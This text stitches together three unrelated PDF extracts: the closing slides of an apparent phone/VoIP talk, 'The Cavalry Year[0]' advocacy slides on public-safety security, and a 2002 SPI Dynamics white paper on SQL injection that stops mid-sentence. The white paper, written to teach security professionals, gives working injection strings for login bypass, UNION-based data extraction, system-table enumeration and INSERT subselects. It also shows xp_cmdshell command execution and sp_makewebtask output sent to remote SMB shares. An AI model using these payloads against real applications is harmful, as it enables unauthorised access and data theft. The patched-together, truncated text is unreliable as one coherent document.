Part IV:
Q&A
Q&A by phone!
Call on in!
Harass us from your hotel room!
1-800-4-CATSEX
Further Reading and Resources
● http://www.asterisk.org/
● http://www.blackratchet.org/
● http://www.digium.com/
● http://www.stromcarlson.com/
● http://www.voip-info.org/
● http://www.voipsupply.com/ | pdf |
Joshua Corman && Nicholas J. Percoco
The Cavalry Year[0]
A Path Forward for Public Safety
Our Dependance on Technology is
Growing Faster than our Ability to
Secure it.
Our Dependance on Technology is Growing
Faster than our Ability to Secure it.
Problem Statement:
While we struggle to secure our
organizations, connected technologies now
permeate every aspect of our lives; in our
cars, our bodies, our homes, and our public
infrastructure.
Our Mission:
To ensure technologies with the
potential to impact public
safety and human life are
worthy of our trust.
Collecting, Connecting,
Collaborating, Catalyzing
Our Approach:
Collecting existing research and researchers
towards critical mass.
Our Approach:
Connecting researchers with each other and
stakeholder in media, policy, legal, and
affected industries.
Our Approach:
Collaborating across a broad range of
background and skill sets.
Our Approach:
Catalyzing research and corrective efforts
sooner than would happen on their own.
Our Approach:
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
It Falls To YOU!
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
We must be ambassadors of our profession
We must be the voice of technical literacy
We must research that which matters
We must amplify our efforts
We must escape the echo chamber
We must team with each other
Year[0] Activities
Year[0] Activities
Research
Conferences
Government
Industry
Press
Deliverables
People
What Worked Well
What Worked Well
The Mission
•The problems statement, instinct & timing were right. While pieces of
this were tried before, timing matters…
!
Collecting, Connecting, Collaborating, Catalyzing
•Teamwork and collective knowledge proved immediately useful to
existing research & researchers. E.g. in Medical & Auto
!
It Takes a Guild
•Diverse, but complementary skills made us stronger - including people
from industry and from government
What Worked Well (cont’d)
Finding Members to Educate Us
•To ready ourselves to be better ambassadors to the outside world
•To train us on Professional Development and Soft Skills
!
Outside Interest, Feedback, New Members
•Tangible results fueled interest and commitment
•Positive and constructive feedback loops
!
What Worked (Less Well)
Too Much Initial Scope
•“Body, Mind & Soul” focused more on “Body”
•AKA “Public Safety & Human Life”
!
Poor Project Management
•In lieu of concrete, bite-sized roles & tasks willing parties grew impatient
!
Poor Balance
•Discrete progress vs external communication
•The void was often filled w/ false information & avoidable friction
What Worked (Less Well)
Surprises
Surprises
Soft Skills
•It was clear early we needed to build muscles in things like:
•Communication Empathy
•Professional Media Training
•Eliminate/Soften Our Jargon
!
Public Policy
•We found incredible and unlikely allies here
•Congressional Staffers were more savvy than we expected
Industry Reception
•Affected Industries had people VERY ready for the help who proved to be
amazing guides and assets
!
The Mission
•The Mainstream Media & Policy makers found the mission clear &
compelling instantly
•Buy-in Opened More Avenues
Surprises
The “Legal Entity”
501(c)(3)
Educational
501(c)(4)
Lobbying
501(c)(6)
Professional
For Profit
Various
Forms
The “Legal Entity”
• All of our options came with trade-offs…
• We are now seeking a 501(c)(3)
• After forming the business plan, core work, identity, etc.
this appears to be the best of our options
• We've explored being "Adopted" by an existing 501(c)(3)
• If "adoption" doesn't work, we will file directly
501(c)(3)
Educational
The “Legal Entity”
Changes Going Forward
Changes Going Forward
• More Self-Service & Structured Support
• Better Communication
• Transparency in Projects & Decisioning
• Production of Public Education Deliverables
• Initiation of “Cavalry Summit”
• Events per target industry
• Auto/Medial/Home/Infrastructure
• More International Balance/Reach
An Open Letter to the Automotive Industry:
Collaborating for Safety
An Open Letter to the Automotive Industry:
Collaborating for Safety
!
!
Five Star Automotive Cyber Safety Program
!
1. Safety by Design
2. Third-Party Collaboration
3. Evidence Capture
4. Security Updates
5. Segmentation & Isolation
Five Star Automotive Cyber Safety Program
1. Safety by Design
a. VALUE: We take public safety seriously in our
design, development, and testing. !
b. PROOF: As such, we have published an attestation
of our secure software development lifecycle,
summarizing our design, development, and adversarial
testing programs for our products and our supply
chain. !
Five Star Automotive Cyber Safety Program
2. Third-Party Collaboration
a. VALUE: We recognize that our programs will not
find all flaws.
b. PROOF: As such, we have a published coordinated
disclosure policy inviting the assistance of third-
party researchers acting in good faith.
Five Star Automotive Cyber Safety Program
3. Evidence Capture
a. VALUE: We learn from failures and fuel
continuous improvement.
b. PROOF: As such, our systems provide tamper
evident, forensically sound logging and evidence
capture to facilitate safety investigations.
Five Star Automotive Cyber Safety Program
4. Security Updates
a. VALUE: We recognize the need to address newly
discovered safety issues.
b. PROOF: As such, our systems can be securely
updated in a prompt and agile manner.
Five Star Automotive Cyber Safety Program
5. Segmentation & Isolation
a. VALUE: We believe a compromise of non-critical
systems (like entertainment) should never adversely
affect critical/physical systems (like braking).
b. PROOF: As such, we have published an attestation
of the physical/logical isolation and layered defense
measures we have implemented. !
Five Star Automotive Cyber Safety Program
Sign the Petition and Share it!
!
http://bit.ly/5starauto!
Possible Futures
Attitude
How to Get Involved
How to Get Involved
• Get a Job in a Target Industry
• Research Target Technologies
• Speak at Target Industry Events
• Help Educate Policy Makers & Media
!
• Join the Mailing List - http://bit.ly/thecavalry
• Follow on Twitter - @IamTheCavalry
• Provide Feedback - [email protected]
The Cavalry
The Cavalry
isn’t coming
isn’t coming
isn’t coming
it falls to us
it falls to you
it falls to us
it falls to you
I am
I am The Cavalry
You are The Cavalry
We are The Cavalry
I am The Cavalry
I am
I am a father
I am a son
I am a mother
I am a daughter
I am a citizen
I am a Voice of Reason
I am The Cavalry
(and so are you)
I am The Cavalry
(and so are you)
The Cavalry
I am
@iamthecavalry | pdf |
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 1
SQL Injection
Are Your Web Applications Vulnerable?
A White Paper from SPI Dynamics
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 2
TABLE OF CONTENTS
1.
OVERVIEW AND INTRODUCTION TO WEB APPLICATIONS AND SQL INJECTION3
1.1.
Overview ....................................................................................................................................................3
1.2.
Background................................................................................................................................................3
1.3.
Character encoding...................................................................................................................................3
2.
TESTING FOR VULNERABILITY............................................................................................. 4
2.1.
Comprehensive testing..............................................................................................................................4
2.2.
Testing procedure......................................................................................................................................4
2.3.
Evaluating results......................................................................................................................................5
3.
ATTACKS....................................................................................................................................... 6
3.1.
Authorization bypass ................................................................................................................................6
3.2.
SELECT.....................................................................................................................................................7
3.2.1.
Direct vs. Quoted....................................................................................................................................7
3.2.2.
Basic UNION .........................................................................................................................................8
3.2.3.
Query enumeration with syntax errors .................................................................................................10
3.2.4.
Parenthesis............................................................................................................................................10
3.2.5.
LIKE queries ........................................................................................................................................12
3.2.6.
Dead Ends.............................................................................................................................................13
3.2.7.
Column number mismatch....................................................................................................................13
3.2.8.
Additional WHERE columns ...............................................................................................................18
3.2.9.
Table and field name enumeration .......................................................................................................19
3.2.10.
Single record cycling .......................................................................................................................21
3.3.
INSERT....................................................................................................................................................24
3.3.1.
Insert basics ..........................................................................................................................................24
3.3.2.
Injecting subselects...............................................................................................................................24
3.4.
SQL Server Stored Procedures..............................................................................................................25
3.4.1.
Stored procedure basics........................................................................................................................25
3.4.2.
xp_cmdshell..........................................................................................................................................26
3.4.3.
sp_makewebtask...................................................................................................................................27
4.
SOLUTIONS................................................................................................................................. 29
4.1.
Data sanitization......................................................................................................................................29
4.2.
Secure SQL web application coding ......................................................................................................29
5.
DATABASE SERVER SYSTEM TABLES ............................................................................... 30
5.1.
MS SQL Server........................................................................................................................................30
5.2.
MS Access Server ....................................................................................................................................30
5.3.
Oracle .......................................................................................................................................................30
6.
THE BUSINESS CASE FOR APPLICATION SECURITY .................................................... 31
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 3
1.
Overview and introduction to web applications and
SQL injection
1.1. Overview
SQL injection is a technique for exploiting web applications that use client-supplied
data in SQL queries without stripping potentially harmful characters first. Despite being
remarkably simple to protect against, there is an astonishing number of production systems
connected to the Internet that are vulnerable to this type of attack. The objective of this paper
is to educate the professional security community on the techniques that can be used to take
advantage of a web application that is vulnerable to SQL injection, and to make clear the
correct mechanisms that should be put in place to protect against SQL injection and input
validation problems in general.
1.2. Background
Before reading this, you should have a basic understanding of how databases work and
how SQL is used to access them. I recommend reading eXtropia.com’s “Introduction to
Databases for Web Developers” at http://www.extropia.com/tutorials/sql/toc.html.
1.3. Character encoding
In most web browsers, punctuation characters and many other symbols will need to be
URL encoded before being used in a request in order to be interpreted properly. In this paper I
have used regular ASCII characters in the examples and screenshots in order to maintain
maximum readability. In practice, though, you will need to substitute %25 for percent sign,
%2B for plus sign, etc. in the HTTP request statement.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 4
2.
Testing for vulnerability
2.1. Comprehensive testing
Thoroughly checking a web application for SQL injection vulnerability takes more
effort than one might guess. Sure, it's nice when you throw a single quote into the first
argument of a script and the server returns a nice blank, white screen with nothing but an
ODBC error on it, but such is not always the case. It is very easy to overlook a perfectly
vulnerable script if you don't pay attention to details.
Every parameter of every script on the server should always be checked. Developers
and development teams can be awfully inconsistent. The programmer who designed Script A
might have had nothing to do with the development of Script B, so where one might be
immune to SQL injection, the other might be ripe for abuse. In fact, the programmer who
worked on Function A in Script A might have nothing to do with Function B in Script A, so
while one parameter in Script A might be vulnerable, another might not. Even if a whole web
application is conceived, designed, coded and tested by one single, solitary programmer, there
might be only one vulnerable parameter in one script out of thousands of other parameters in
millions of other scripts, because for whatever reason, that developer forgot to sanitize the data
in that one place and that one place only. You never can be sure. Test everything.
2.2. Testing procedure
Replace the argument of each parameter with a single quote and an SQL keyword ("'
WHERE", for example). Each parameter needs to be tested individually. Not only that, but
when testing each parameter, leave all of the other parameters unchanged, with valid data as
their arguments. It can be tempting to just delete all of the stuff that you're not working with in
order to make things look simpler, particularly with applications that have parameter lines that
go into many thousands of characters. Leaving out parameters or giving other parameters bad
arguments while you're testing another for SQL injection can break the application in other
ways that prevent you from determining whether or not SQL injection is possible. For
instance, let's say that this is a completely valid, unaltered parameter line:
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
And this parameter line gives you an ODBC error:
ContactName=Maria%20Anders&CompanyName='%20OR
Where checking with this line:
CompanyName='
Might just give you an error telling you that you that you need to specify a
ContactName value. This line:
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 5
ContactName=BadContactName&CompanyName='
Might give you the same page as the request that didn't specify ContactName at all.
Or, it might give you the site’s default homepage. Or, perhaps when it couldn't find the
specified ContactName the application figured that there was no point in looking at
CompanyName, so it didn't even pass the argument of that parameter into an SQL statement at
all. Or, it might give you something completely different. So, when testing for SQL injection,
always use the full parameter line, giving every argument except the one that you are testing a
legitimate value.
2.3. Evaluating results
If you get a database server error message of some kind back, injection was definitely
successful. However, the database error messages aren't always obvious. Again, developers
do some strange things, so you should look in every possible place for evidence of successful
injection. The first thing you should do is search through the entire source of the returned page
for phrases like "ODBC", "SQL Server", "Syntax", etc. More details on the nature of the error
can be in hidden input, comments, etc. Check the headers. I have seen web applications on
production systems that give you an error message with absolutely no information in the body
of the HTTP response, but that have the database error message in a header. Many web
applications have these kinds of features built into them for debugging and QA purposes, and
then forget to remove or disable them before release.
Not only should you look on the immediately returned page, but in linked pages as
well. During a recent pen-test, I saw a web application that returned a generic error message
page in response to an SQL injection attack. Clicking on a stop sign image next to the error
that was linked to another page gave the full SQL Server error message.
Another thing to watch out for is a 302 page redirect. You may be whisked away from
the database error message page before you even get a chance to notice it.
Please note that SQL injection may be successful even if you do get an ODBC error
messages back. Lots of the time you get back a properly formatted, seemingly generic error
message page telling you that there was "an internal server error" or a "problem processing
your request." Some web applications are built so that in the event of an error of any kind, the
client is returned to the site’s main page. If you get a 500 Error page back, chances are that
injection is occurring. Many sites have a default 500 Internal Server Error page that claims
that the server is down for maintenance, or that politely asks the user to email their request to
their support staff. It can be possible to take advantage of these sites using stored procedure
techniques, which are discussed later.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 6
3.
Attacks
3.1. Authorization bypass
The simplest SQL injection technique is bypassing form-based logins. Let's say that
the web application’s code is like this:
SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
Here's what happens when a user submits a username and password. The query will go
through the Users table to see if there is a row where the username and password in the row
match those supplied by the user. If such a row is found, the username is stored in the variable
strAuthCheck, which indicates that the user should be authenticated. If there is no row that
the user-supplied data matches, strAuthCheck will be empty and the user will not be
authenticated.
If strUsername and strPassword can contain any characters that you want, you
can modify the actual SQL query structure so that a valid name will be returned by the query
even if you do not know a valid username or a password. How does this work? Let's say a
user fills out the login form like this:
Login: ' OR ''='
Password: ' OR ''='
This will give SQLQuery the following value:
SELECT Username FROM Users WHERE Username = '' OR ''='' AND
Password = '' OR ''=''
Instead of comparing the user-supplied data with that present in the Users table, the
query compares '' (nothing) to '' (nothing), which, of course, will always return true.
(Please note that nothing is different from null.) Since all of the qualifying conditions in the
WHERE clause are now met, the username from the first row in the table that is searched will be
selected. This username will subsequently be passed to strAuthCheck, which will ensure
our validation. It is also possible to use another row’s data, using single result cycling
techniques, which will be discussed later.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 7
3.2. SELECT
For other situations, you must reverse-engineer several parts of the vulnerable web
application's SQL query from the returned error messages. In order to do this, you must know
what the error messages that you are presented with mean and how to modify your injection
string in order to defeat them.
3.2.1. Direct vs. Quoted
The first error that you are normally confronted with is the syntax error. A syntax error
indicates that the query does not conform to the proper structure of an SQL query. The first
thing that you need to figure out is whether injection is possible without escaping quotation.
In a direct injection, whatever argument you submit will be used in the SQL query
without any modification. Try taking the parameter's legitimate value and appending a space
and the word "OR" to it. If that generates an error, direct injection is possible. Direct values
can be either numeric values used in WHERE statements, like this:
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE Employee = " & intEmployeeID
Or the argument of an SQL keyword, such as table or column name, like this:
SQLString = "SELECT FirstName, LastName, Title FROM Employees
ORDER BY " & strColumn
All other instances are quoted injection vulnerabilities. In a quoted injection, whatever
argument you submit has a quote prepended and appended to it by the application, like this:
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE EmployeeID = '" & strCity & "'"
In order to “break out” of the quotes and manipulate the query while maintaining valid
syntax, your injection string must contain a single quote before you use an SQL keyword, and
end in a WHERE statement that needs a quote appended to it. And now to address the problem
of “cheating”. Yes, SQL Server will ignore everything after a “;--”, but it's the only server
that does that. It's better to learn how to do this the "hard way" so that you'll know how to do
this if you run into an Oracle, DB/2, MySQL or any other kind of database server.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 8
3.2.2. Basic UNION
Figure 1: Syntax breaking on direct injection
Figure 2: Syntax breaking on a quoted injection
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 9
SELECT queries are used to retrieve information from a database. Most web
applications that use dynamic content of any kind will build pages using information returned
from SELECT queries. Most of the time, the part of the query that you will be able to
manipulate will be the WHERE clause. The way to modify a query from within a WHERE clause
to make it return records other than those intended is to inject a UNION SELECT. A UNION
SELECT allows multiple SELECT queries to be specified in one statement. They look
something like this:
SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT
CompanyName FROM Customers WHERE 1 = 1
This will return the recordsets from the first query and the second query together. The
ALL is necessary to escape certain kinds of SELECT DISTINCT statements and doesn't
interfere otherwise, so it’s best to always use it. It is necessary to make sure that the first
query, the one that the web application’s developer intended to be executed, returns no records.
This is not difficult. Let's say you're working on a script with the following code:
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE City = '" & strCity & "'"
And use this injection string:
' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='
This will result in the following query being sent to the database server:
SELECT FirstName, LastName, Title FROM Employees WHERE City =
'' UNION ALL SELECT OtherField FROM OtherTable WHERE ''=''
Here's what will happen: the database engine goes through the Employees table,
looking for a row where City is set to nothing. Since it will not find a row where City is
nothing, no records will be returned. The only records that will be returned will be from the
injected query. In some cases, using nothing will not work because there are entries in the
table where nothing is used, or because specifying nothing makes the web application do
something else. All you have to do is specify a value that does not occur in the table. Just put
something that looks out of the ordinary as best you can tell by looking at the legitimate values.
When a number is expected, zero and negative numbers often work well. For a text argument,
simply use a string such as "NoSuchRecord", "NotInTable", or the ever-popular
"sjdhalksjhdlka". Just as long as it won't return records.
It would be nice if all of the queries used in web applications were as simple as the ones
above. However, this is not the case. Depending on the function of the intended query as well
as the habits of the developer, you may have a tough time breaking the syntax error.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 10
3.2.3. Query enumeration with syntax errors
Some database servers return the portion of the query containing the syntax error in
their error messages. In these cases you can “bully” fragments of the SQL query from the
server by deliberately creating syntax errors. Depending on the way that the query is designed,
some strings will return useful information and others will not. Here's my list of suggested
attack strings:
'
BadValue'
'BadValue
' OR '
' OR
;
9,9,9
Often several of those strings will return the same or no information, but there are
instances where only one of them will give you helpful information. Again, always be
thorough. Try all of them.
3.2.4. Parenthesis
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 11
Figure 3: Parenthesis breaking on a quoted injection
If the syntax error contains a parenthesis in the cited string (such as the SQL Server
message used in the example below) or you get a message that explicitly complains about
missing parentheses (Oracle does this), add a parenthesis to the bad value part of your injection
string, and one to the WHERE clause. In some cases, you may need to use two or more
parentheses. Here’s the code used in parenthesis.asp:
mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees
WHERE (City = '" & strCity & "')"
So, when you inject the value “') UNION SELECT OtherField FROM OtherTable
WHERE (''='”, the following query will be sent to the server:
SELECT LastName, FirstName, Title, Notes, Extension FROM
Employees WHERE (City = '') UNION SELECT OtherField From
OtherTable WHERE (''='')
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 12
3.2.5. LIKE queries
Figure 4: LIKE breaking on a quoted injection
Another common debacle is being trapped in a LIKE clause. Seeing the LIKE
keyword or percent signs cited in an error message are indications of this situation. Most
search functions use SQL queries with LIKE clauses, such as the following:
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 13
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE LastName LIKE '%" & strLastNameSearch & "%'"
The percent signs are wildcards, so in this case, the WHERE clause would return true in
any case where strLastNameSearch appears anywhere in LastName. In order to stop
the intended query from returning records, your bad value must be something that none of the
values in the LastName field contain. The string that the web application appends to the user
input, usually a percent sign and single quote (and often parenthesis as well), needs to be
mirrored in the WHERE clause of the injection string. Also, using nothing as your bad values
will make the LIKE argument “%%”, resulting in a full wildcard, which returns all records. The
second screenshot shows a working injection query for the above code.
3.2.6. Dead Ends
There are situations that you may not be able to defeat without an enormous amount of
effort or even at all. Occasionally you'll find yourself in a query that you just can't seem to
break. No matter what you do, you get error after error after error. Lots of the time this is
because you're trapped inside a function that's inside a WHERE clause that's in a subselect
which is an argument of another function whose output is having string manipulations
performed on it and then used in a LIKE clause which is in a subselect somewhere else. Or
something like that. Not even SQL Server's “;--” can rescue you in those cases.
3.2.7. Column number mismatch
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 14
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 15
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 16
Figure 5: Column number matching
If you can get around the syntax error, the hardest part is over. The next error message
you get will probably complain about a bad table name. Choose a valid system table name
from the appendix that corresponds to the database server that you're up against.
You will then most likely be confronted with an error message that complains about the
difference in number of fields in the SELECT and UNION SELECT queries. You need to find
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 17
out how many columns are requested in the legitimate query. Let's say that this is the code in
the web application that you’re attacking:
SQLString = SELECT FirstName, LastName, EmployeeID FROM
Employees WHERE City = '" & strCity "'"
The legitimate SELECT and the injected UNION SELECT need to have an equal
number of columns in their WHERE clauses. In this case, they both need three. Not only that,
but their column types need to match as well. If FirstName is a string, then the
corresponding field in your injection string needs to be a string as well. Some servers, such as
Oracle, are very strict about this. Others are more lenient and allow you to use any data type
that can do implicit conversion to the correct data type. For example, in SQL Server, putting
numeric data in a varchar's place is okay, because numbers can be converted to strings
implicitly. Putting text in a smallint column, however, is illegal because text cannot be
converted to an integer. Because numeric types often convert to strings easily but not vice
versa, use numeric values by default.
To determine the number of columns you need to match, keep adding values to the
UNION SELECT clause until you stop getting a column number mismatch error. If a data
type mismatch error is encountered, change the type of data of the column you entered from a
number to a literal. Sometimes you will get a conversion error as soon as you submit an
incorrect data type. Other times, you will only get the conversion message once you've
matched the correct number of columns, leaving you to figure out which columns are the ones
that are causing the error. When the latter is the case, matching the value types can take a very
long time, since the number of possible combinations is two raised to number of columns in the
query. Oh, did I mention that 40 column SELECTs are not terribly uncommon?
If all goes well, you should get back a page with the same formatting and structure as a
legitimate one. Wherever dynamic content is used you should have the results of your
injection query.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 18
3.2.8. Additional WHERE columns
Figure 6: Additional WHERE column breaking
Sometimes your problem may be additional WHERE conditions that are added to the
query after your injection string. Take this line of code for instance:
SQLString = "SELECT FirstName, LastName, Title FROM Employees
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 19
WHERE City = '" & strCity & "' AND Country = 'USA'"
Trying to deal with this query like a simple direct injection would yield a query like
this:
SELECT FirstName, LastName, Title FROM Employees WHERE City =
'NoSuchCity' UNION ALL SELECT OtherField FROM OtherTable WHERE
1=1 AND Country = 'USA'
Which yields an error message such as:
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column
name 'Country'.
The problem here is that your injected query does not have a table in the FROM clause
that contains a column named 'Country' in it. There are two ways of solving this problem:
cheat and use the “;--” terminator if you're using SQL Server, or guess the name of the table
that the offending column is in and add it to your FROM. Use the attack queries listed in
section 3.2.3 to try and get as much of the legitimate query back as possible.
3.2.9. Table and field name enumeration
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 20
Figure 7: Table and field name enumeration
Now that you have injection working, you have to decide what tables and fields you
want to retrieve information from. With SQL Server, you can easily get all of the table and
column names in the database. With Oracle and Access you may or may not be able to do this,
depending on the privileges of the account that the web application is accessing the database
with. The key is to be able to access the system tables that contain the table and column
names. In SQL Server, they are called 'sysobjects' and 'syscolumns', respectively.
(There is a list of system tables for other database servers at the end of this document. You will
also need to know relevant column names in those tables). In these tables there will be listings
of all of the tables and columns in the database. To get a list of user tables in SQL Server, use
the following injection query, modified to fit whatever circumstances you find yourself in, of
course:
SELECT name FROM sysobjects WHERE xtype = 'U'
This will return the names of all of the user-defined (that's what xtype = 'U'
does) tables in the database. Once you find one that looks interesting (we'll use Orders),
you can get the names of the fields in that table with an injection query similar to this:
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 21
SELECT name FROM syscolumns WHERE id = (SELECT id FROM
sysobjects WHERE name = 'Orders')
3.2.10. Single record cycling
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 22
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 23
Figure 8: Single record cycling
If possible, use an application that is designed to return as many results as possible. A
search tool is ideal because they are made to return results from many different rows at once.
Some applications are designed to use only one recordset in their output at a time, and ignore
the rest. If you're stuck with a single product display application, it's okay. You can
manipulate your injection query to allow you to slowly, but surely, get your desired
information back in full. This is accomplished by adding qualifiers to the WHERE clause that
prevent certain rows’ information from being selected. Let's say you started with this injection
string:
' UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne
WHERE ''='
And you got the first values in FieldOne, FieldTwo and FieldThree injected
into your document. Let's say the values of FieldOne, FieldTwo and FieldThree were
"Alpha", "Beta" and "Delta", respectively. Your second injection string would be:
' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM
TableOne WHERE FieldOne NOT IN ('Alpha') AND FieldTwo NOT IN
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 24
('Beta') AND FieldThree NOT IN ('Delta') AND ''='
The NOT IN VALUES clause makes sure that the information that you already know
will not be returned again, so the next row in the table will be used instead. Let’s say these
values were "AlphaAlpha", "BetaBeta" and "DeltaDelta"...
' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne
WHERE FieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT
IN ('Beta', 'BetaBeta') AND FieldThree NOT IN ('Delta',
'DeltaDelta') AND ''='
This will prevent both the first and second sets of values you know from being
returned. You just keep adding arguments to VALUES until there are none left to return. Yes,
this makes for some rather large and cumbersome queries while going through a table with
many rows, but it's the best method that there is.
3.3. INSERT
3.3.1. Insert basics
The INSERT keyword is used to add information to the database. Common uses of
INSERTs in web applications include user registrations, bulletin boards, adding items to
shopping carts, etc. Checking for vulnerabilities with INSERT statements is the same as doing
it with WHEREs. You may not want to try to use INSERTs if avoiding detection is an
important issue. INSERT injection attempts often result in rows in the database that are
flooded with single quotes and SQL keywords from the reverse-engineering process.
Depending on how watchful the administrator is and what is being done with the information
in that database, it may be noticed. Having said that, here's how INSERT injection differs
from SELECT injection.
Let's say you're on a site that allows user registration of some kind. It provides a form
where you enter your name, address, phone number, etc. After you've submitted the form, you
can go to a page where it displays this information and gives you an option to edit it. This is
what you want. In order to take advantage of an INSERT vulnerability, you must be able to
view the information that you've submitted. It doesn't matter where it is. Maybe when you log
in it greets you with the value it has stored for your name in the database. Maybe they send
you spam mail with the name value in it. Who knows. Find a way to view at least some of the
information you've entered.
3.3.2. Injecting subselects
An INSERT query looks something like this:
INSERT INTO TableName VALUES ('Value One', 'Value Two', 'Value
Three')
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 25
You want to be able to manipulate the arguments in the VALUES clause to make them
retrieve other data. We can do this using subselects. Let's say the code looks like this:
SQLString = "INSERT INTO TableName VALUES ('" & strValueOne &
"', '" & strValueTwo & "', '" & strValueThree & "')"
And we fill out the form like this:
Name: ' + (SELECT TOP 1 FieldName FROM TableName) + '
Email: [email protected]
Phone: 333-333-3333
Making the SQL statement look like this:
INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROM
TableName) + '', '[email protected]', '333-333-3333')
When you go to the preferences page and view your user's information, you'll see the
first value in FieldName where the user's name would normally be. Unless you use TOP 1
in your subselect, you'll get back an error message saying that the subselect returned too many
records. You can go through all of the rows in the table using NOT IN () the same way it is
used in single record cycling.
3.4. SQL Server Stored Procedures
3.4.1. Stored procedure basics
An out-of-the-box install of Microsoft SQL Server has over one thousand stored
procedures. If you can get SQL injection working on a web application that uses SQL Server
as it's backend, you can use these stored procedures to pull off some remarkable feats. I will
here discuss a few procedures of particular interest. Depending on the permissions of the web
application's database user, some, all or none of these may work. The first thing you should
know about stored procedure injection is that there is a good chance that you will not see the
stored procedure's output in the same way you get values back with regular injection.
Depending on what you're trying to accomplish, you may not need to get data back at all. You
can find other means of getting your data returned to you.
Procedure injection is much easier than regular query injection. Procedure injection
into a quoted vulnerability should look something like this:
simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell
'cmd.exe dir c:
Notice how a valid argument is supplied at the beginning and followed by a quote and
the final argument to the stored procedure has no closing quote. This will satisfy the syntax
requirements inherent in most quoted vulnerabilities. You may also have to deal with
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 26
parentheses, additional WHERE statements, etc., but after that, there's no column matching or
data types to worry about. This makes it possible to export vulnerability in the same way that
you would with applications that do not return error messages. On to a couple of my favorite
stored procedures.
3.4.2. xp_cmdshell
xp_cmdshell {'command_string'} [, no_output]
master.dbo.xp_cmdshell is the holy grail of stored procedures. It takes a
single argument, which is the command that you want to be executed at SQL Server's user
level. The problem? It's not likely to be available unless the SQL Server user that the web
application is using is sa.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 27
3.4.3. sp_makewebtask
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 28
Figure 9: Using sp_makewebtask
sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'
Another favorite of mine is master.dbo.sp_makewebtask. As you can see, its
arguments are an output file location and an SQL statement. sp_makewebtask takes a
query and builds a webpage containing its output. Note that you can use a UNC pathname as
an output location. This means that the output file can be placed on any system connected to
the Internet that has a publicly writable SMB share on it. (The SMB request must generate no
challenge for authentication at all). If there is a firewall restricting the server's access to the
Internet, try making the output file on the website itself. (You'll need to either know or guess
the webroot directory). Also be aware that the query argument can be any valid T-SQL
statement, including execution of other stored procedures. Making "EXEC xp_cmdshell
'dir c:'" the @query argument will give you the output of "dir c:" in the webpage.
When nesting quotes, remember to alternate single and double quotes.
© 2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission.
Page 29
4.
Solutions
4.1. Data sanitization
All client-supplied data needs to be cleansed of any characters or strings that could
possibly be used maliciously. This should be done for all applications, not just those that use
SQL queries. Stripping quotes or putting backslashes in front of them is nowhere near enough.
The best way to filter your data is with a default-deny regular expression. Make it so that you
only include that type of characters that you want. For instance, the following regexp will
return only letters and numbers:
s/[^0-9a-zA-Z]//g
Make your filter as specific as possible. Whenever possible use only numbers. After
that, numbers and letters only. If you need to include symbols or punctuation of any kind,
make absolutely sure to convert them to HTML substitutes, such as ""e;" or ">".
For instance, if the user is submitting an email address, allow only "@", "_", "." and "-" in
addition to numbers and letters to be used, and only after those characters have been converted
